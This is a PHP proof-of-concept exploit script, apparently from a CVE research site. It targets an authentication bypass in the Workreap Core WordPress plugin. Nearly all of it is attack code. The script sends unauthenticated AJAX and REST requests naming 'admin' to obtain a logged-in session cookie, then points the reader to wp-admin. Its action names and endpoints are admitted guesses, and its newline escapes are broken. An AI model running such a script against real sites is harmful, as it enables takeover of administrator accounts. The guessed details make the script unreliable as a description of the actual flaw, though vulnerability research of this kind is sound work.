CVE-2025-69101: Workreap Core <= 3.4.0 – Authentication Bypass (workreap_core)

// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2025-69101 - Workreap Core <= 3.4.0 - Authentication Bypass
<?php
/**
 * Proof of Concept for CVE-2025-69101
 * This script demonstrates authentication bypass in Workreap Core plugin.
 * Assumptions based on WordPress plugin patterns and CWE-288:
 * 1. The plugin exposes an AJAX endpoint for authentication/user switching
 * 2. The endpoint accepts a user identifier parameter without proper verification
 * 3. The endpoint returns a session cookie or sets WordPress authentication
 */

$target_url = 'https://vulnerable-site.com'; // CHANGE THIS

// Common WordPress AJAX endpoint for plugin handlers
$ajax_endpoint = '/wp-admin/admin-ajax.php';

// The action parameter likely contains 'workreap' based on plugin slug
// Multiple possible action names are tested based on common patterns
$possible_actions = [
    'workreap_switch_user',
    'workreap_login_as',
    'workreap_authenticate',
    'workreap_core_auth',
    'workreap_impersonate'
];

// Target user to authenticate as (change to existing user ID, email, or username)
$target_user = 'admin'; // Could be user ID, email, or username

foreach ($possible_actions as $action) {
    echo "Testing action: $actionn";
    
    $ch = curl_init();
    
    $post_data = [
        'action' => $action,
        'user_id' => $target_user,      // Common parameter name
        'email' => $target_user,        // Alternative parameter
        'username' => $target_user,     // Alternative parameter
        'user' => $target_user          // Generic parameter
    ];
    
    curl_setopt_array($ch, [
        CURLOPT_URL => $target_url . $ajax_endpoint,
        CURLOPT_POST => true,
        CURLOPT_POSTFIELDS => $post_data,
        CURLOPT_RETURNTRANSFER => true,
        CURLOPT_HEADER => true,        // Capture headers to check for Set-Cookie
        CURLOPT_SSL_VERIFYPEER => false,
        CURLOPT_SSL_VERIFYHOST => false,
        CURLOPT_FOLLOWLOCATION => true,
        CURLOPT_USERAGENT => 'Atomic Edge Research PoC'
    ]);
    
    $response = curl_exec($ch);
    $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
    $header_size = curl_getinfo($ch, CURLINFO_HEADER_SIZE);
    $headers = substr($response, 0, $header_size);
    $body = substr($response, $header_size);
    
    curl_close($ch);
    
    // Check for signs of successful authentication
    if (strpos($headers, 'Set-Cookie: wordpress_logged_in') !== false ||
        strpos($headers, 'Set-Cookie: wp-settings') !== false ||
        strpos($body, 'success') !== false ||
        strpos($body, 'redirect') !== false) {
        echo "[SUCCESS] Possible authentication bypass via action: $actionn";
        echo "Response Headers:n$headersn";
        echo "Response Body (first 500 chars):n" . substr($body, 0, 500) . "n";
        break;
    } else {
        echo "[FAILED] Action $action did not appear to work (HTTP $http_code)n";
    }
}

// Alternative: Test REST API endpoint if AJAX fails
// Many plugins use REST API for authentication functions
$rest_endpoints = [
    '/wp-json/workreap/v1/auth',
    '/wp-json/workreap/v1/login',
    '/wp-json/workreap/v1/user/switch',
    '/wp-json/wp/v2/users/' . $target_user . '/session' // Generic pattern
];

echo "nTesting REST API endpoints...n";

foreach ($rest_endpoints as $endpoint) {
    echo "Testing endpoint: $endpointn";
    
    $ch = curl_init();
    
    $post_data = json_encode([
        'user_id' => $target_user,
        'email' => $target_user,
        'username' => $target_user
    ]);
    
    curl_setopt_array($ch, [
        CURLOPT_URL => $target_url . $endpoint,
        CURLOPT_POST => true,
        CURLOPT_POSTFIELDS => $post_data,
        CURLOPT_RETURNTRANSFER => true,
        CURLOPT_HEADER => true,
        CURLOPT_SSL_VERIFYPEER => false,
        CURLOPT_SSL_VERIFYHOST => false,
        CURLOPT_HTTPHEADER => [
            'Content-Type: application/json',
            'Content-Length: ' . strlen($post_data)
        ]
    ]);
    
    $response = curl_exec($ch);
    $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
    
    curl_close($ch);
    
    if ($http_code == 200 || $http_code == 201) {
        echo "[POSSIBLE] REST endpoint $endpoint returned success (HTTP $http_code)n";
        echo "Check response for authentication tokens or session data.n";
    }
}

echo "nPoC complete. If successful, the script may have obtained a session cookie.n";
echo "Validate by visiting $target_url/wp-admin/ with the captured cookies.n";
?>